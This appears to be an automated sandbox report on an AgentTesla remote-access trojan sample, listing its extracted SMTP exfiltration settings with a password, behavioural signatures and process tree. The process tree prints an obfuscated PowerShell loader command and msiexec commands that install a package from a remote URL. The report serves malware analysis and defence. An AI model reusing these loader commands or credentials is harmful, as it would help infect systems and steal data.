Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
07/05/2026, 12:05
General
- Target BIK1911486_20260507.js
- Size 349KB
- Sample260507-n9dnmsgz3l
- SHA256 55897a63a54fd6421abb0c83c5ef3a839eb5adf1bb60bbb57d5118f52789bdcd
Malware Config
Extracted
-
Protocol
smtp
-
Host
smtp.hostinger.com
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Port
587
-
Username
-
Password
Pingdata1234@@
Extracted
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agenttesla
-
Protocol
smtp
-
Host
smtp.hostinger.com
-
Port
587
-
Username
-
Password
Pingdata1234@@
-
Email to
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Use of msiexec (install) with remote resource 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies registry class 20 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\BIK1911486_20260507.js1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exe"C:\Windows\explorer.exe" Z:\port\can\windows2⤵
- Enumerates connected drives
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Verrucar=($HOME+'/app'+'data/roaming/Tofags');$Sporehuset=gc $Verrucar;$Rugg=$Sporehuset[3276]+$Sporehuset[3277]+$Sporehuset[3278]; .($Rugg) $Sporehuset"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Verrucar=($HOME+'/app'+'data/roaming/Tofags');$Sporehuset=gc $Verrucar;$Rugg=$Sporehuset[3276]+$Sporehuset[3277]+$Sporehuset[3278]; .($Rugg) $Sporehuset"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Rygm/Strigsre.msi2⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
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C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Rygm/Strigsre.msi2⤵
- Badlisted process makes network request
- Use of msiexec (install) with remote resource
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Event Triggered Execution: Installer Packages
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Rygm/Strigsre.msi3⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ivu5qmwu.iav.ps1
Wallopeds.Tel
Tofags
memory/1344-53-0x00000000077A0000-0x0000000007D44000-memory.dmp
memory/1344-56-0x00000000703A0000-0x00000000703EC000-memory.dmp
memory/1344-76-0x0000000004C20000-0x0000000004C26000-memory.dmp
memory/1344-77-0x0000000004EE0000-0x0000000004F67000-memory.dmp
memory/1344-75-0x0000000008A50000-0x000000000C0A1000-memory.dmp
memory/1344-72-0x0000000007600000-0x0000000007608000-memory.dmp
memory/1344-33-0x0000000000EC0000-0x0000000000EF6000-memory.dmp
memory/1344-34-0x00000000050D0000-0x00000000056F8000-memory.dmp
memory/1344-35-0x0000000004FD0000-0x0000000004FF2000-memory.dmp
memory/1344-36-0x00000000057F0000-0x0000000005856000-memory.dmp
memory/1344-37-0x0000000005860000-0x00000000058C6000-memory.dmp
memory/1344-45-0x00000000058D0000-0x0000000005C24000-memory.dmp
memory/1344-55-0x00000000072B0000-0x00000000072E2000-memory.dmp
memory/1344-65-0x00000000072F0000-0x000000000730E000-memory.dmp
memory/1344-48-0x0000000005ED0000-0x0000000005F1C000-memory.dmp
memory/1344-57-0x0000000070530000-0x0000000070884000-memory.dmp
memory/1344-50-0x0000000007150000-0x00000000071E6000-memory.dmp
memory/1344-52-0x0000000006400000-0x0000000006422000-memory.dmp
memory/1344-51-0x00000000063A0000-0x00000000063BA000-memory.dmp
memory/1344-71-0x0000000007610000-0x000000000762A000-memory.dmp
memory/1344-70-0x00000000075D0000-0x00000000075E4000-memory.dmp
memory/1344-54-0x00000000083D0000-0x0000000008A4A000-memory.dmp
memory/1344-69-0x00000000075C0000-0x00000000075CE000-memory.dmp
memory/1344-68-0x0000000007580000-0x0000000007591000-memory.dmp
memory/1344-47-0x0000000005E90000-0x0000000005EAE000-memory.dmp
memory/1344-66-0x0000000007320000-0x00000000073C3000-memory.dmp
memory/1344-67-0x0000000007420000-0x000000000742A000-memory.dmp
memory/1448-4-0x0000000001580000-0x00000000015B0000-memory.dmp
memory/2464-97-0x00000000207C0000-0x00000000207CA000-memory.dmp
memory/2464-88-0x0000000000BC0000-0x0000000001E14000-memory.dmp
memory/2464-92-0x0000000020520000-0x0000000020570000-memory.dmp
memory/2464-91-0x0000000020480000-0x0000000020512000-memory.dmp
memory/2464-96-0x000000001D7C0000-0x000000001D7C6000-memory.dmp
memory/2464-90-0x0000000000BC0000-0x0000000000C04000-memory.dmp
memory/2464-93-0x0000000020610000-0x00000000206AC000-memory.dmp
memory/2464-81-0x0000000000BC0000-0x0000000001E14000-memory.dmp
memory/2464-82-0x00000000006D0000-0x0000000000B0C000-memory.dmp
memory/3404-31-0x000001E83E760000-0x000001E83E790000-memory.dmp
memory/3404-19-0x000001E8400D0000-0x000001E8400DC000-memory.dmp
memory/3404-13-0x000001E858810000-0x000001E858832000-memory.dmp
memory/3404-32-0x000001E8400D0000-0x000001E8400DC000-memory.dmp
memory/3404-18-0x000001E83E760000-0x000001E83E790000-memory.dmp
memory/4252-15-0x000001EB565F0000-0x000001EB565FC000-memory.dmp
memory/4252-14-0x000001EB54DB0000-0x000001EB54DE0000-memory.dmp
memory/4708-17-0x00000000007A0000-0x00000000007D0000-memory.dmp